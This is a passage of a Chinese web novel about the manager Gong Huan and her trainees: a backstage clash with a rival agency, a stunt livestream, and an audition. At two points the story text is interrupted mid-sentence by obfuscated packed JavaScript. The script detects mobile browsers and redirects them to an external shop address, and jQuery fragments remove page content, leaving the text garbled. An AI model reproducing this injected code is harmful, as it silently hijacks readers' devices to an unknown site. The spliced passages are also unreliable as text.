其他人:“他是爱豆吗?没听说过啊,旁边那两位气质也好好啊。” 小张看着三人排练得浑身是汗,从来的时候到现在有三四个小时,中间一口水都没喝过。 “好像是素人,宫欢带的艺人,”小张透露道,“初舞台就是中场节目,看着挺认真的。” 其他人:“想火,当然认真咯,诶,你们谁去送水?买个股啊?” 买股是她们私下里常玩的游戏,节目组里经常有新人来参加节目,有些爆火有些没落,小张她们这些工作人员时常在节目里见识各种奇葩场面。 耍大牌都算是小事了,有些嘉宾当场掐架,她们打报警电话不是一两次的事了。 熬夜上班,还要收拾烂摊子,买股算是比较解压的小游戏,几人会选自己看好的一个艺人做为自己的潜力股,关注后续情况,看谁的眼光最准。 有的艺人一炮而红,买对股的人那段时间都会神清气爽,仿佛火的是自己。 她们买股后,会去该明星微博做数据帮忙应援一下,做为支持。 几人你看我我看你,都没想好,观察了一会儿,实在难以选择。 “感觉都不错啊,长相、身材、气质,唯一有差别的就是舞蹈功底了,我感觉那个浅金发色的,长得有点可爱的跳得好,很有台风。” “这样的圈里有不少啦,那个那个,长得凶凶的,性张力好强,我觉得这个不错。” “诶诶,你们不是冲着书店那个来的吗?” “小张,你看好哪个啊?” 小张顿了顿,仿佛想到什么:“我觉得你们不用选单独的一个了,今天有第二场中场节目,也是个团。” “啊,你说璀璨那边的TXT团?” 小张点点头,有些惋惜地看着三人:“碰上璀璨的团,他们多少要吃点苦头,能不能出道还一说呢。” 彩排时间过得很快,不知不觉到了九点。 三人没有要走的意思,喝了几口水准备继续彩排。 这时,后台走出了几个穿着时髦的人,刚走到台上看见奚亭云三人,不爽地叫来工作人员:“他们谁啊,现在该我们了怎么还赖在那?” 这声不小,一下干扰了正在排练走位的三人,他们停住动作看过去,便见那几个人不理正在解释的工作人员,直接走到舞台中央。 其中一个染着蓝发的人上下打量三人一眼:“怪不得跟我们抢位置,是新男团啊,还没出道就这么不懂得尊重前辈?” 蓝发艺人阴阳怪气地绕着三人,仿佛审视商品似的:“你们可以“下台”了,把位置让出来给我们,一点眼力见都没有,还想在圈里混。” 萧子重脾气一下就上来了,站到蓝发艺人面前,眼神不善地扫回去:“你说让就让?你哪位啊,连先来后到都不懂,干脆回幼儿园重修吧。” 后面跟着蓝发艺人一起来的人跟着叫骂:“你们经纪人没教过你们在圈里遇到前辈就要跪舔吗?” “看你们也不像是节目嘉宾啊,哎哟,该不会你们是参加另外一场中场节目的人吧?不然也不会这个时间来彩排。” 安声见势头不对,不想大家这么剑跋扈张,做为男团里比较有经验的队长,他自觉应该出面解决这件事,打圆场道: “抱歉前辈们,我们不知道你们也要来彩排,刚才太专注了没注意时间,要是轮到你们的话,麻烦你们等一会,我们马上就好了。” TXT男团艺人个个不好说话,叫嚷着: “等什么等?还没几个人敢让我们去等着的,你算什么东西?” “就是啊,我们就从来就没等过谁,你多大脸啊?” 安声为难地挠头:“那你们不等的话,只能站在旁边看我们训练,我心里也很过意不去的。” 蓝发艺人听见这话瞪大了眼睛,绕开萧子重冲到安声面前,指着人鼻子骂:“你什么意思?阴阳我们?” 奚亭云和萧子重上前一步想制住蓝发艺人,而他身后又有四五个人往前走了走,两方一时针锋相对,互相敌视对方。 快要大吵起来的时候,小张及时过来拉了拉奚亭云他们,低声解释: “这些人是璀璨的艺人,他们参加第二场节目,本来应该是晚一点的彩排时间,但是估计来早了,你们要不要先休息一下,明天再继续?” 奚亭云语气有些冷硬:“他们的彩排时间是多久?” 小张:“都是五小时。” 奚亭云看了眼手机时间,他们是六点到的,加上熟悉镜头那些时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蓝发艺人彻底失去耐心,朝自己人挥挥手,语气不善:“给我把他们轰下去!真服了,遇到些什么人啊。” 他身后四五个人慢慢走近,看着都挺瘦的,个头也不是很高,体型优势上显然是奚亭云他们占了上风。 奚亭云和萧子重看了眼,这段时间的默契训练下来,他们知道互相的意思:打? 眼看要闹得不可开交,小张情急之下大叫出声:“你们不要再打啦!!” 蓝发艺人:“?” 奚亭云三人:“?” 他们还没开始呢? 这一声效果出众,台下的一众工作人员止住手里的工作,往舞台上看。 宫欢刚从演播室出来,听见喊叫声的尾巴,于是也跟着抬头朝舞台上看,一看就皱紧了眉头。 舞台上,蓝发艺人的身后慢慢走出来了一个人,穿着夸张的碎钻黑西装,肩膀部位放了垫肩,将她肩膀撑宽了一些,显得气势更强。 她扎着高马尾,似是勒着头皮的紧度。 宫欢看见那人就冷笑了一声,这不是她那死对头吗? ——璀璨娱乐公司知名经纪人,郑羽。 42. 野兽派演技 郑羽手里拿着爱牛仕皮包,走到蓝发艺人旁边,嗓音浑厚中气十足:“谁打人了?” 蓝发艺人连忙侧身让路,他靠山来了,更肆无忌惮地指着奚亭云三人: “羽姐,就是他们占了我们彩排位置,跟他们商量也听不进去,一个个腕不大,脾气不小!” “是吗?”郑羽那画着小烟熏妆的眼尾挑了挑,在奚亭云三人身上扫了一圈,最后盯着奚亭云看:“你是不是……前段时间小火的一个素人?” 奚亭云没回答。 蓝发艺人察觉郑羽不像是要问罪的架势,有点急躁地扯了扯她衣服:“羽姐!” 郑羽瞥他一眼,没说话,蓝发艺人悻悻地松了手,和其他几个人眼神示意,一个个地走下舞台。 奚亭云几人对视一眼,不明白这是什么操作。 郑羽继续用那种打量商品的目光在三人身上扫动,边看边点头。 萧子重嫌她那眼神膈应人,张嘴就怼:“看什么看?” “你们是新组的男团?”郑羽好脾气的问,“初舞台在这开演?啧啧,宫欢就给你们这点资源啊。” 萧子重不服气:“您哪位啊,瞧不起这还带自己人来,也不见得您资源好到哪儿去了。” 奚亭云反问:“你认识她?” 郑羽轻笑两声,一只手拿着精致包包,手指上的美甲很长,轻轻敲着皮包:“认识,不但认识,我们以前还一起共事过呢。” “你们条件不错,就是这资源太差了,宫欢她给你们拉不到什么好资源,都是在消耗你们的青春~” 安声抗议道:“我们年轻,有的是青春耗,不像你这个——漂亮姐姐!” 萧子重觉得这人绵里藏针:“你想说什么?” 郑羽边说边笑,抛出鱼饵:“考不考虑换个公司,我是璀璨娱乐公司的经纪人,你们尽管去打听打听,璀璨的资源在圈里有多好,都是数一数二的好机会。多少一线艺人都是我们捧出来的。” “宫欢给你们多少钱?”郑羽话音一转,“违约金多少,只要你们想通了,我都可以替你们解决~” 三人紧张地面对着郑羽,对方说得可能都是真的,好资源,好舞台,甚至连违约金的问题都想到了。 论资源,宫欢比起璀璨娱乐,属实是小作坊了。 三人你看我我看你。 郑羽觉得还要加把火力:“她的知名度现在是全网黑,不论做出什么都会引发抵制。你们做她的艺人——真不怕被影响啊?” 安声觉得他要坚守住其他人的底线,绷着脸故意压低声音,做出凶狠的样子:“黑红也是红,你就是嫉妒欢欢姐!” 萧子重:“……” 求你了,别说话了。 郑羽顿了顿,低低笑了几声后,忍不住笑得更大声:“哈哈哈哈哈,真的是,什么人都能被她找来。” “是啊,不管我找来了什么人,你还是想挖墙脚。” 宫欢的声音忽然从后台传来,她几步踩上台阶,来到郑羽身后。 郑羽转身,仿佛和宫欢是多年未见的好友,亲昵地打招呼:“哎呀我说是谁呢,宫欢啊,这么久没见,你还是那么凶~” 宫欢白她一眼,绕开郑羽扑上来的身体,走到三人面前,语气意外的温柔:“他们影响到你们了?” 安声的头点得像敲木鱼:“嗯嗯嗯嗯!!” 萧子重不想承认:“你要不来我马上就摆平了。” 奚亭云低着头,抬眼看了宫欢一眼,没说什么却让人能感觉出他憋着委屈。 宫欢了解,转身对着郑羽开炮:“那几个五颜六色的鸡毛掸子是你艺人?” 郑羽脸上的笑意僵住,有些咬牙切齿地说: “他们可都是有粉丝基础的,之前参加过大热的选秀节目。这次,恐怕你又要输了,你以为你随便找来几个素人就能培养起来了?” “就算长相看得过去又有什么用,这么久了你还不明白吗,在圈里资源才是最重要的!” 宫欢开工作室前,在璀璨娱乐做过一段时间的经纪人,公司里大大小小的经纪人她基本都认识,当时和她资历相差无几的就是郑羽。 璀璨娱乐那时为了冲业绩,约谈她们两人,谁先完成五千万的纯利润收益,后面就提升经纪人权限级别。 也就是从普通的经纪人升为银牌经纪人,普通经纪人只能接受公司安排的任何艺人,火不火都必须带。 而银牌经纪人则有自己选择的权利,可以和艺人双向选择,自由度更大。 郑羽在圈内以炒作营销为主,当时宫欢为了完成这一指标想尽了各种办法。 最后以郑羽翘了宫欢墙角,挖走她带的艺人,趁着宫欢火烧眉毛之时,将一个非常好的资源拿到手,完成了指标为结局。 宫欢也就是那时候决定离开大公司,自己做工作室。 两年前,郑羽挖了她的人,两年后还敢舞到她面前来。 宫欢要不是看在周围有工作人员看着的份上,早就一巴掌上去了。 宫欢没理郑羽,侧头问身后三人:“刚才在吵什么?” 安声如实说:“那几位前辈不让我们排练,本来我们应该练五小时的,现在才三个小时就要求我们让出位置。” 宫欢点点头,挥手晃了晃:“你们继续去训练,我去拖着他们。” 三人看着她挥手的动作,心底升起一股满满的信任感,不愧是宫欢,就是靠谱。 待他们继续排练后,郑羽表情扭曲了一下准备再叫其他人来捣乱:“别以为你抢得过我,现在就该我的人——” 话说到一半,宫欢抬手就硬拽着郑羽往后台走,边走边强硬地说:“对对对,好久没见了,聊聊天。” 舞台附近,围观的工作人员看了半天的瓜,这会儿见人走了,才一个个的去做自己的事。 - 后台休息室。 宫欢强拉硬拽着郑羽把人推进去。 蓝发艺人正翘着二郎腿在发脾气,郑羽一个踉跄进门后,把众人都吓得站了起来。 “羽姐??发生什么事了,是不是那几个人不好搞定,让我们去——!” 宫欢进了休息室反手将门反锁,背靠门对着那群鸡毛掸子骂道:“去去去,去哪儿啊,赶着喝孟婆汤投胎啊?都给我坐好了,知道我是谁吗?” 蓝发艺人一眼认出来:“宫欢?你怎么在这。” 宫欢笑得张扬:“因为我跟你们羽姐是朋友啊。” “真是没想到,之前我就听说第二场节目是璀璨的人,没想到是你来,”宫欢说着上下打量蓝发艺人,“还是得你,不管带过多少艺人,都能把他们一个个培养得无法无天。” 郑羽理了理被宫欢扯乱的衣服,没了刚才游刃有余的态度,冷着脸和她对线:“有资本才能无法无天,不像你,只能任人宰割。” 要是两年前的宫欢估计会顺手摸到什么东西砸过去,今时不同往日,现在的宫欢对她这种话已经不痛不痒了。 微博上那么多骂人不重复的评论,可比她这恶毒多了。 宫欢:“哦。” 一个字就把郑羽激得气不打一处来,指着宫欢叫道:“把她给我拉开,你们马上去抢舞台,抢到就把那几个人挤下去!” “好嘞!” 蓝发艺人和其他人往宫欢那走,手指捏得咔咔作响,一个个像是街边二流子,用猥琐的语气说:“真是不好意思了宫大经纪人,是你先挡住我们的。” “没关系啊没关系,都不白来。” 宫欢一反常态的客气道,在几人快要触碰到她的时候,快速地从口袋里拿出手机对着三人—— 解锁屏幕,打开某音,手指飞快地点开了直播界面。 全程只用了不到三秒。 宫欢将手机翻转到三人面前,笑得不怀好意,挑眉道:“准备火吧,各位。” 说着,宫欢用力地往后一撞,砰得砸出响声,她龇牙咧嘴地慢慢滑坐在地,蜷缩大叫:“啊啊啊好痛啊!!你们不要打我啦,我真的不是故意的——!!我错啦啊啊啊!” 蓝发艺人那边的一众人纷纷傻眼,看着自己距离宫欢还有一段距离的手,又看见她举着的手机页面里出现每个人的脸。 因为自动开了美颜,众人的脸有些扭曲畸变,两个鸡蛋大的眼睛和尖锥子脸十分滑稽,看着就像外星人似的。 某音上面之前因为鬼畜视频和最近围炉夜话等等风波,有不少吃瓜人士关注宫欢,她这一开了直播,不少人都收到了提示,纷纷涌入直播间。 几人眼睁睁看着那直播间里的人蹭蹭蹭往上涨,随之而来的还有网民评论。 【什么瓜?我绝对不能错过!】 【谁打谁啊,这不是宫欢账号吗?宫欢呢?】 【这几个人有点眼熟啊......】 【他们不是前段时间909选秀上的明星吗??】 蓝发艺人顿时将手背到身后,明星包袱一下背了回去,开始端起来,捏嗓掐调: “啊,各位朋友们好啊,我是陈闪闪......为什么和宫欢在一块?哈哈哈哈哈哈巧合,巧合,纯属巧合。” 宫欢看他装上了,忙将手机怼到自己脸上,眼里带着挑衅地看向郑羽几人:“我们大家碰巧遇上了,在一起聊八卦呢,你们有什么想知道的八卦呀,尽管问——” “我们都会很~耐~心~的帮大家解答疑问,”宫欢冲几人眨眨眼,“你们说呢?” 郑羽没想到,宫欢为了拖住时间让她那些艺人彩排,这么不按套路出牌,连直播都说开就开。 她脸上颜色精彩,伸手扒开陈闪闪他们就想夺走宫欢的手机,结果宫欢轻巧地把手机界面对准了郑羽。 郑羽的脸差一厘米就能贴上手机屏幕了。 【这是谁啊?看着眼熟。】 【好像是xxx的经纪人郑羽,之前现场看到过。】 【郑羽和宫欢私下认识!?之前不是有传闻说她俩撕得很厉害吗??】 “羽姐~大家都在问我们认不认识,你怎么说呀,”宫欢斜躺在地上,翘起腿像是在度假似的,反正就是死死堵着门,“哈哈哈,我跟羽姐关系可好了,我们之前都在璀璨工作啊。” “啊?xxx为什么突然从我这去郑羽那了?” 宫欢假模假样地选着水友的问题念出来,然后装作一无所知的样子问郑羽:“我也不知道啊,你们问问郑羽咯。” 郑羽的长美甲几乎要把爱牛仕包包扎穿,她收回想挠宫欢脸的手,强颜欢笑地看着直播间:“哈哈,当然是工作变动了,这些事谁也说不准的。” 开着直播,宫欢又挡着门,众人必不可能拉开她出门。 一场直播持续到23点,每次当陈闪闪或是郑羽想靠近宫欢时,就被宫欢大叫一声挡回去。 众人心中愤愤不平。 卑鄙!手段太脏了! 等时间到了23点,宫欢估摸着算了算,男团也该训练得差不多了。她伸了个懒腰,地板冰凉,躺得她腰疼。 “好啦,今天直播就到这里了哦,我任务完成了。” 宫欢看着弹幕评论问下次什么时候开播,她装模作样地想了想:“这个不一定呢。” 然后看着对面被气到坐在休息椅上熬鹰似的几人,“看缘分吧~” 说着宫欢慢慢起身,关闭直播的同时迅速打开休息室的门,一下蹿了出去,生怕被身后几人逮回去打一顿。 她以前和郑羽有几次吵架,吵得凶了是打过架的,那女人打人真疼啊,指甲能刮掉她二两肉。 宫欢一下冲出后台,顺着台阶跑上了舞台,看见男团三人气喘吁吁地休息,倍感欣慰。 好在艺人们都在努力,她的拖延时间大法没有白费。 就是这招吧,估计只能用一次。 宫欢头发微乱冲了过来,三人刚才就在纳闷她是怎么引走郑羽他们的,见她露头了正想问。 宫欢一把拽住距离最近的奚亭云,扯着人手臂扭头就走,“快快快走,等下我要挨打了!” 奚亭云本来因为高度训练的后劲脑子有片刻晕眩,正弯着腰双手撑着膝盖,被宫欢抓住发烫的小臂,皮肤的灼热温度一点点攀升,大脑更是没有任何思考能力地驱使身体跟随她走。 另外两人不明所以地跟上,走出演播大楼,夜色浓郁,宫欢时不时往后面探头看看有没有人追上来。 她心有余悸地拍着胸口:“好险,差点就要被打了。” 她这时注意到手还拉着奚亭云,手心被他的温度烫得发热,柔软的手心能感受到他手臂上青筋的搏动,突突地。 宫欢仿佛被烫到,一下缩回了手,只是手心的余温久久不散。 她不知抱着什么心思,抬头看了奚亭云一眼。 他正低着头眼睛一眨不眨地凝视她,眼眸漆黑幽深,像是被夜色浸染过,气息像是训练后不稳定,鼻息粗重,很沉闷。 宫欢的记忆闪回着琐碎的片段,又是那个醉酒的梦,很近的距离,相同的呼吸,始终萦绕在周围的那双眼睛和此刻的重合交叠。 她的心顿时就咯噔一下。 “我,我刚才......” “不用解释,”奚亭云说,“没关系的。” 另外两人慢慢跟了出来,令宫欢有些闷的氛围散去不少。 萧子重跟上来后,不明白她担心什么:“你刚才去了哪儿,郑羽他们都没来跟我们抢位置了。” “废话,”宫欢白他一眼,“还不是靠我和他们斗智斗勇。” 安声擦了擦头上的汗:“太厉害了,不过欢姐你是怎么做到的?” 宫欢想想,为了保持自己的威严没说出来,只是一挥手:“大人的事情少问,知道什么叫商战吗?” 叮叮叮——手机铃声响起来。 几人都摸了摸手机,发现是宫欢的,她拿起来一看,发现是高姐打来的。 宫欢沉默。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126333|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>——完蛋,要挨骂了。 - 几小时前。 B市竖店现代景区。 排队等待试镜的演员们一个个轮流进了试镜的摄影棚。 这栋楼房的隔音一般,有时候隔着墙壁能听到试镜房间里的交谈声。 甘惊鸿趴在墙边听里面的声音,墙体传回来的嗡嗡声里能听清一些对话。 隐约听到些:“这个角色要有高中生的青涩呆板,还要流畅的转换大学生的青春活泼,不是一味的犯傻!不会演就出去!” “一个能救下受害者的人能是傻白甜吗!?” “下一个!” 甘惊鸿听着咽了咽唾液,感觉试镜会很严格,不知道她刚才那番表现会不会让人留下不好的初印象,从而影响到她的表演。 高姐坐在甘惊鸿旁边的小木凳上。 她陪甘惊鸿等的同时,还在处理网上流传出的新星晚宴爆料、诋毁宫欢的各种言论、夏信的有意引导,这些都在网上掀起不小的风浪。 其中,宫欢说媒体没有好好看节目,还有澄清一说,引起网友热议。 【围炉夜话】上期节目的播放量又增加了不少,众多网友们都在反复扒细节找漏洞,试图找出宫欢说的“盲点”、“真相”。 也有人说,宫欢就是在故意扯开话题,根本没有反转。 不论是与否,都要等宫欢最后来盖棺定论。高姐只是负责和水军联系,控制好舆论的大小范围,不要太过火。 “下一个!” 试镜房间里又走出来两个演员,泄气地站在一边埋怨道: “我都没说两句话他就说我不合适,凭什么呀!” “我也是!刚说了一句台词就被打断。” “他都没看几分钟就说不行,也太敷衍了。” 进去试镜的演员们接二连三的出来,郁闷的表情看得出来都失败了。 甘惊鸿更加紧张,她前面的两个演员刚进去没两分钟就出来了,下一个就要轮到她。 高姐分出神来鼓励她:“去吧,别想那么多,只记住你的角色人设。” “下一个!” 甘惊鸿趴在墙边听墙角的姿势一下站得笔直,慌慌忙忙地应了声:“到!” 这个习惯是她以前在剧组跑龙套,群演头子点人数时练成的反应。 应完声,甘惊鸿越过前面的一排空板凳,步入简陋的试镜房间。 房间整体装潢没动过,黑色的摄影机和监视器与质朴的环境格格不入。 刘导和几个工作人员坐在监视器后。 甘惊鸿看了眼放在墙边的一个木板凳,自觉走过去坐下,脑子里不停催眠自己:她叫单虹,是个高中生...... 刘导刚才就对甘惊鸿突然跳出来自我介绍挺意外的,以前见过不少剑走偏锋的演员,没想到这个这么直接莽撞,真是有几分学生的样子。 副导演在旁边按流程走:“演一段你看见男主被霸凌,去救他的剧情。” 甘惊鸿立马又站起来,往刘导那边看了一大圈,最后目光落回——她身后的那个板凳上。 她回身抱起木板凳,放在最靠房间里面的墙边,然后走到门口。 这是演哪出? 刘导和旁边的副导互相看了看,其他演员都是一秒进入了状态,这个难不成还要酝酿一下? 只见甘惊鸿两只手抓着衣服的肩膀两边,原地踏步走了两下,本来摇头晃脑着,忽然视线看向木凳那边,顿时瞪大眼,竖起手指指去:“你们在干什么!住手!不许欺负同学,放开他,不然我马上就叫老师了!” 不知甘惊鸿脑补出了什么,她很惊慌的往后退了两步,说:“你们别过来,我可没那么好欺负!” 似是快要被人围住,甘惊鸿一把脱下背着的书包,双手抓紧背带,岔开腿疯狂地左右甩动。 幅度极大,左一下右一下的,原本留出来给演员发挥的空间变得狭窄起来。 刘导见状拖着监视器往后移了移,其他人也不约而同地、被甘惊鸿甩包扫人的拼命架势吓得往后躲,生怕被她砸到。 但有两人反应过来,她手里好像没东西啊?? 刘导也回过味来,惊讶地看着面前这个演员,两条胳膊还因为受力问题往下坠,入戏程度很深啊,形象也不错。 他悄声问副导:“这是谁?” 副导翻了翻候选演员:“您忘了啊,宫欢那边送来的艺人,小白一个,没什么经验。” 刘导看着甘惊鸿擦了擦额头的汗。 这会儿已经演到她赶走流氓,在抱着木凳大力摇晃地说台词:“同学,同学你没事吧,要不要叫救护车?你脸上流了好多血!没事,我马上找人来救你!” 她背过身,费力地将小木凳背起来,不知在哪片地上蹭得脸上都是灰,一身的淡雅白裙染得脏兮兮,还真有死胡同里救下了同学的样子。 “这叫......”刘导纳闷地指着在给木凳做心肺复苏甚至是人工呼吸的甘惊鸿,“没经验?” 副导演:“......可能谦虚了吧。” 在甘惊鸿表演到准备走出门外,招手喊车时,副导演喊了声卡。 一声卡出来,甘惊鸿就像被摁下了暂停键,身体顿住,持续两秒后她慢慢转过了头。 眼白里浮上了一些血丝,原本平整的脸仿佛真的经历了一场恶斗而变得涨红,满脸灰遮不住那双坚毅不屈的眼睛。 甘惊鸿喘着气,还保持着背人的姿势,在副导演接连说着“可以了”、“不用演了”之后,才慢慢站直了身子,木凳从她背上滑落摔在地上,甘惊鸿一屁股坐在了上面。 浑身都是汗,仿佛刚刚真的死里逃生了。 她坐在木凳上好半天回不过神。 高姐在门口观察了许久,这时进来抽了两张湿纸巾给人。 甘惊鸿有些迟钝地接过来擦了擦脸,慢慢恢复正常,倔强坚韧的气势渐渐散去,恢复成平时的样子。 高姐刚才一直在甘惊鸿和导演组那边来回观察。 她看得出来甘惊鸿在演技方面有天赋,而她本人的形象也非常符合这个角色,只要大差不差,试镜基本可以成功。 不过没想到的是,甘惊鸿的表现让人出乎意料,她不是在演,是完全变成了那个人。 这种演法非常消耗一个人的精神,一旦把握不当,非常容易出现心理问题。 高姐见过圈里许多演员饱受这种痛苦,但对于新人小白而言,这也确实是最能吸引人的表演方法。 没有任何技巧可言,只能将自己全部投入进去,忘掉自己,成就角色。 高姐给甘惊鸿递过去一瓶水,接着走到刘导旁边,向他做自我介绍:“刘导,我是宫欢的助理高闲,您觉得我们这边的艺人表现怎么样,通过试镜了吗?” 众人都看向了坐在木凳上喝水发愣的甘惊鸿。 其实高姐已经能确定了。 这个角色,她拿下了。 43. 泡沫舞台 “开直播一个预告都没有,一点消息我都不知道,说开就开了,你知道最近多少人把你当挡箭牌吗!?热搜才撤下去没多久,现在又上了,你开直播想做什么?就不能提前跟我说一声吗?” “我错了嘛,这次真是事出有因,你都不知道我当时多危险——” 宫欢耳边贴着手机乖乖挨骂,软着语气跟手机对面的人卖乖:“他们一群人把我团团围住,刀枪剑戟都拿出来了,我要是再不机灵点,你这通电话都没人接。” 宫欢游刃有余地将卡递给酒店前台定了四间房,应付高姐的同时还能分心做别的,身后三人看得目瞪口呆。 拿了房卡分发给三人,宫欢带着人进了电梯,将手机换到左边耳朵,继续说:“没事啦,热搜是我家,常上就升咖,我有分寸的。对了,小甘那边试镜怎么样,还顺利吗?” 将近凌晨四点,两边总算有了初步成果。 高姐简单说了下甘惊鸿试镜时的表现,通话音量不小。 后面蔫了吧唧的萧子重本来一进电梯就倚靠着轿厢打盹,听见电话那边的人声换成了有些清脆温软的声音,顿时清醒了。 萧子重往宫欢那边凑了凑,竖起耳朵只隐约听见“冲撞导演”、“没给明确答复”之类的话。 宫欢嗯着应声,等对面把话说完后安抚几句:“肯定可以,你形象演技都很好,不选你是他眼瞎。别想那么多没发生的事情,你们早点休息,明天说不定就通过试镜直接进组了。” 又说了几句后挂断了电话。 电梯到了。四人的房间相连着,奚亭云三人今天赶完行程又彩排几个小时,身体早就扛不住了。 宫欢一下午脑子没停过,到处和节目的人员沟通布景等等。一天下来脸上也带着倦容,招呼都懒得打,找到房卡对应的房间就想推门栽进去。 “宫欢。” 身后传来声音,宫欢刚推开酒店房门,她强忍着想栽进去的冲动,侧头看了眼,是奚亭云。 “有事明天再说。” 宫欢嗓音偏哑,整个下午她都像个鹦鹉似的到处叽叽喳喳,为了给男团拖时间开了直播也一直在说话。 要不是因为不会,她真想打手语啊,这样就不用说话了。 “晚安。”奚亭云说完后迅速关上房门。 宫欢大脑迟钝了两秒,看向酒店房间的落地窗外,蒙蒙亮的天色:现在该说早安了。 砰——几人的房门纷纷关上。 萧子重本来又困又累,离开演播室时就没精神,回酒店坐电梯都是混混沌沌的。 可那通电话后,像有人在他脸上撒了些清凉的水珠,让人霎时清醒。 不多,却足够牵扯神经。 他坐在床边,后仰着倒在柔软的被子里。房间足够安静,脑中倏忽闪过上午的事情。 安声加了她微信。 安声加了她微信!? 萧子重忽然从床上坐起,眼里没了困意。 做为一个实力演技派,又是甘惊鸿的前辈,应该给予她一些表演上的建议,避免她陷入误区。 宫欢和高姐对表演了解不深,只能安抚甘惊鸿的情绪,却不能解决她的问题。 越想越对,越想越蠢蠢欲动。 萧子重拿起手机打开微信,再点开富豪榜大群,找到甘惊鸿。 甘惊鸿的头像背景是清新的绿色纯图,中间有一块卡通夹心饼干,看着很可爱。 萧子重想起安声叫的“饼干姐姐~”,磨了磨牙,指腹用了些力,点着屏幕界面发送了好友申请。 接着将手机锁屏丢在一边,装作不在意地扯过薄被,盖过头准备睡觉——浑身酸痛,他实在不想动,明天再洗漱算了。 五分钟过去,10分钟过去,20分钟过去。 房间没开灯,他听觉异常灵敏,听着自己的呼吸一次次呼出,吸入,房间里安静得能听清他心脏跳动的响声。 萧子重翻了个身,背对着仍在床边的手机,他闭着眼睛催眠自己:再不睡天都要亮了。 身体是疲惫的,眼皮是睁不开的,可神经却异常活跃,活跃到消息提示声响起的那一刻,萧子重一下睁开了眼。 伸手朝后一阵摸索拿到了手机,解锁,甘惊鸿的消息框蹦出来。 萧子重心底小小的雀跃了一下,而后便是斟酌字句——要怎么开场。 文字输入中:听说你试镜的时候遇到了麻烦? 萧子重看着闪烁的光标,又将这段话全部删除。不行不行,不能这么说。 文字输入中:试镜通过了吗?一切顺利吗? 怎么这么多问句啊!不行! 就这样来来回回删除输入两三分钟,没等萧子重最终决定发哪句话过去。 甘惊鸿倒是先发来了消息。 夹心饼干:【前辈?你还没睡啊,我刚才在洗漱】 萧子重手忙脚乱地重新组织措辞:【没有,刚才听见你和宫欢打电话说试镜的事情,想问问你感觉怎么样,还顺利吗?】 甘惊鸿发了个竖起大拇指的绿皮小鹦鹉的表情包:【当然顺利了,我一出场,导演他们一句话都没说,都被我的演技惊呆啦】 夹心饼干:【不过导演那边还没给我确定的答案,高姐说可能是因为要避开其他走后门的演员不记仇/挠头】 蓝光映在萧子重的面中,鼻梁的阴影几乎要盖住半边眼睛:【肯定可以的,加油。】 夹心饼干:【我要先睡了前辈,你也快点休息吧,明天聊】 明天聊......明天。 萧子重反复默念了几遍这几个字,她的意思是明天还可以继续找她聊天。 抱着这样的想法,眼皮后知后觉地沉重,睡意一下压了过来,他闭上眼,没两分钟便陷入了熟睡。 - 隔天中午,奚亭云敲响了宫欢的房门。 敲得不重,每敲三下就停手,然后隔一会继续敲,持续10分钟左右,酒店房门被从里面打开。 宫欢露出一张睡意朦胧的脸,昨天精致的卷发此刻微乱,她困得语调含糊:“大早上的想干嘛,让不让人睡了。” 奚亭云将锅甩到高姐身上:“高姐在群里发消息问你起床没有,你没回复,她就艾特了我们把你叫起来。” 宫欢手机在床边,来开门的时候没拿,她并不怀疑奚亭云的话,于是只是顺着问了句:“那两个呢?” 奚亭云:“也在睡。” 宫欢:“都叫起来,我去换衣服。” “好。” 门关上,宫欢回到床边拿起手机,富豪榜大群和私信高姐都发了消息——两份针对直播热搜的公关文案,一份男团初舞台后的宣发第一版内容等等。 太辛苦了,宫欢在大群里回复消息后,私信又发了个红包过去:【姐您歇歇,别累着,让其他小助理帮你忙点。】 高姐只发了个绿色小恐龙的“懒得搭理你”的表情包。 宫欢洗漱完毕,简单换了身衣服便走出酒店房门。 奚亭云正在走廊里给安声不厌其烦地一遍遍打电话叫起床,而他旁边是在打开萧子重房门的酒店人员。 “什么情况?”宫欢问。 “他们两个睡得比较沉。”奚亭云指了指手机,那边安声刚接通电话,他低声解释着要起来彩排了。 宫欢看看时间。 昨天几人临近四点回来,到现在差不多六七个小时,再加上昨天彩排了五个小时,大量消耗精力体力,七个小时的睡眠休息时间远远不够。 但是没办法,只能让他们自己调整作息了。彩排时间吃得很紧,这次又碰见郑羽,宫欢保证他们顺利彩排都费了不少心思。 等几人起床洗漱出门,宫欢带着三人去酒店吃自助午餐。 几人坐在方形的餐桌旁,每个人餐盘里的食物堆成了小山高,端上餐桌时,引来不少高端人士的注目——好像他们是为了吃回酒店房间价格的本,才这么做。 萧子重和安声饿得感觉连盘子都能吃掉,吃相略微狂放。 反观旁边的奚亭云则斯文得多,只是往嘴里塞食物的动作比较快速,咀嚼速度也快。 吃饭间隙,宫欢翻着微博热搜。 昨天直播事件一出后,郑羽和旗下的当红男团组合上了热搜,不少人猜测宫欢和他们之间的关联。大多数人都还是认为宫欢在蹭热度,蹭老东家的流量。 一边是粉丝嘲讽宫欢无所不用其极地蹭流量瞎蹦跶,一边是夸直播间没开美颜的TXT组合神颜、扛得住镜头畸变之类的话。 TXT和郑羽之前在微博发过预告,一些营销号和媒体知道他们会来参加【敢说敢言】,而昨天宫欢和他们同框,变相说明了什么——宫欢又要参加综艺祸害他人了。 毕竟她带的男团还一点水花都没有,除了宫欢身边的自己人,没几个知道的。 宫欢心不在焉地吃着饭。 按照郑羽和璀璨娱乐的尿性,彩排期间他们会发出路透图作为预热营销,一般营销都会这么做,原本宫欢也是这么定下的。 但宫欢这次打算换个做法。 男团三人都是小透明,就算路透了也没人看啊。 要怎么出其不意,剑走偏锋呢? 宫欢收起思绪,看向站起身准备去拿第二盘食物的萧子重,眼底的情绪还没完全收尽,看着有些严肃。 